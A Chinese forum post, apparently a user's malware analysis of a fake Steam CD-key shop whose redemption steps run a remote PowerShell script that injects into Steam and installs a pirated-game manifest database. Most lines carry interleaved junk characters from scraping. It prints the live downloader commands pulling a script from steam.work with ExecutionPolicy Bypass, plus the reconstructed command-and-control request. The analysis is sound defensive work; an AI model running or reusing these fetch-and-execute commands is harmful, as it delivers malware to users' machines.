|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
2 Q* @: t3 T) @% Y9 p) l7 p" g5 F
2 T! ?5 c) |2 c* S4 K/ T' O0 ]
9 [/ V' V0 e4 I/ j2 I啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
9 C! z- p x m) n7 h1 r1 W+ `: w! a4 o
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
; M9 v2 \% l# M6 n$ d: F 
! S/ N& Q. H* j1 a4 K好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损( f( j( R4 ]- P7 [( y( Z
/ S2 a! N1 M) c7 Z那么真实的代码就只剩两行了:3 v6 C' w, R" ?7 T/ b/ s
[PowerShell] 纯文本查看 复制代码
* x& ]; n2 y; G Z1 j8 }?9 X, z* j8 O. w d; C
1
3 v& z3 U2 k% ]25 [ p2 h& C9 T$ K) Q
| irm steam.work/pwsDwFile/new1 -OutFile x.ps1
4 S$ n" i9 D/ }/ ^. w0 Y+ U; G% zpowershell.exe -ExecutionPolicy Bypass -File x.ps1;' s% D/ }2 `5 z- Y7 d
+ Q P5 N3 Z6 @! N* k0 @
| ' V7 Q6 i6 B( |0 G& N, h
& _) i: n& C' R4 x) |4 d6 Q
/ d4 \5 l) B) F4 @
0 e+ c3 {% Y- j+ f d# h: y _
" Y, i/ L* e) E0 [看得出来,又是下脚本...我们把这玩意也下下来看一眼:
+ K0 P d# S& H2 f( e* } 2 s8 V- H: A: Y$ ?
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!' N/ e* r' _: F& Q
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:1 h* H; \2 p- E
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
1 _, H, A6 H4 D3 G; u ! l4 G q5 g2 O2 B0 Z! r, V8 {6 r
2. 里面有 zlib.inflate (图里打错了)
+ s/ I- l( B7 I4 N# F7 W
F1 R% P; A: r' i& a8 u3 ~! l& u. U7 A! Q Z, w; p- _) c. m4 i3 Z
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:! G- J) o- s5 J* u' o" X* J
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西
3 Y# k7 s3 S D9 k 6 _( J, X' D) E* L Q. N8 ~1 ]; H
[eax + 0x4 * 3] -> 解压出缓冲区指针
: w1 N% e# L6 ]/ b- T[eax + 0x4 * 5] -> 解压出数据长度 4 L u, ]& s! n1 \
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
2 G+ R! H. {; d0 Z0 Y- i) c& W这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
, O' D: r5 Y7 Z, }6 R 5 X' S8 V7 J7 {- |& {3 C' ?
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
) ]: K) j: D$ M; l 6 C( s6 @, Y& E! s
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
- p, u, _9 o& B% c2 J
& `5 J& B% `' M- C" J(接前文)6 p1 ]! N8 q, u$ @3 g
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数* i1 l, ~$ j8 m: q# ~% H& C- v
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
& o4 O% b8 D; g4 b# n2 b# K然后就断下来了,我们来看一眼
3 N' N7 G& t% [- n) I0 N! {
) r8 x+ a8 T1 j1 s直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下1 I0 q( O8 k& H+ Q Y% x- p: u
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:# B: W& s d7 L! M1 E
, n* `% V3 H+ M* E, X, S
HTTP1.1 POST http://api.steam.work/api/integral/vs. N% y( F: t. t2 t4 @3 P
Referer: version
( _" |$ s4 e% e1 X0 K& duser-agent: steam5 }8 F* E, a4 c; }& I2 F" y+ Q/ L
{"sign":"ckv"}
- ~! ?4 n3 p3 R( G/ \7 H1 Y& ^. [
( d' Y& w5 }. u4 m- }

( K$ A& W. e; y8 }
! n/ P# ]" _5 V: \% Q% ?返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
& N) B1 ]2 }2 dsqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)5 l( K% U o: v* g, m
% }; a6 K4 P3 ~* U2 p, R
于是转移到一台实机上继续分析。
1 m( Q( Y# d4 g% D9 d, L( U2 P; p( C' z( t1 j) w p7 o
3 i, G$ q' a/ p9 `直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点5 ?1 b, U1 ?( ]0 W4 I: H
把请求掏出来看看:
' i" i. X/ g: u/ L7 p, W - S% l/ @% M1 L/ L/ j1 Z& k
看起来是成功了,返回一个 code 和一个 data;1 T2 v3 F! R W- [- C
这个 ID 又是啥?8 r4 u" V6 C' F- F

. A) e7 l L% u哦,哈迪斯的 App ID7 V: ~& l* f- L9 R1 h$ @9 P& U
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
2 G6 ~) q5 O0 j y/ W2 iC:\Program Files (x86)\Steam\package\data
$ n. A: W c, ~9 T8 f y% b
( c D0 J n/ |6 I这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
1 q2 `& d+ ~8 D. Q那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开. i! i, ^8 X* s& V3 }4 X
: }9 N4 i5 U+ f" ]/ V
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:3 ]+ m {0 R8 j- a0 C5 j- G. l
; M" S$ d2 y6 V, u
有个appid,和两个不认识的hex;把键名拿去搜搜看:- i' m O# ]: m; V
6 z% F. r+ q" d' C' E
5 w; ]1 T x. r/ l
原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
# `6 o) [) H- m Z! |0 U \5 n/ r( H) h4 B8 ~+ ]. C
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey1 Y# I$ e* q. W6 c1 F% J8 l
8 x1 C% R$ M: N* T& K
| 6 f( M9 M* Q# [8 O; P
& v E# Y" R/ D, Z* }# A7 v$ q* Z2 X9 B3 z+ e4 K" n
* j! H7 \! ^. a, N/ ?$ ?# V Z/ s
. m- s: X$ }$ q7 P( x' y7 a V. Y t
1 W1 w7 s' `5 k5 {8 R* b6 Q" N1 b# s0 V: F
3 b4 z& _7 O9 v5 j, ?. |
% Z0 S8 D) s+ u, ^! x# e
|
|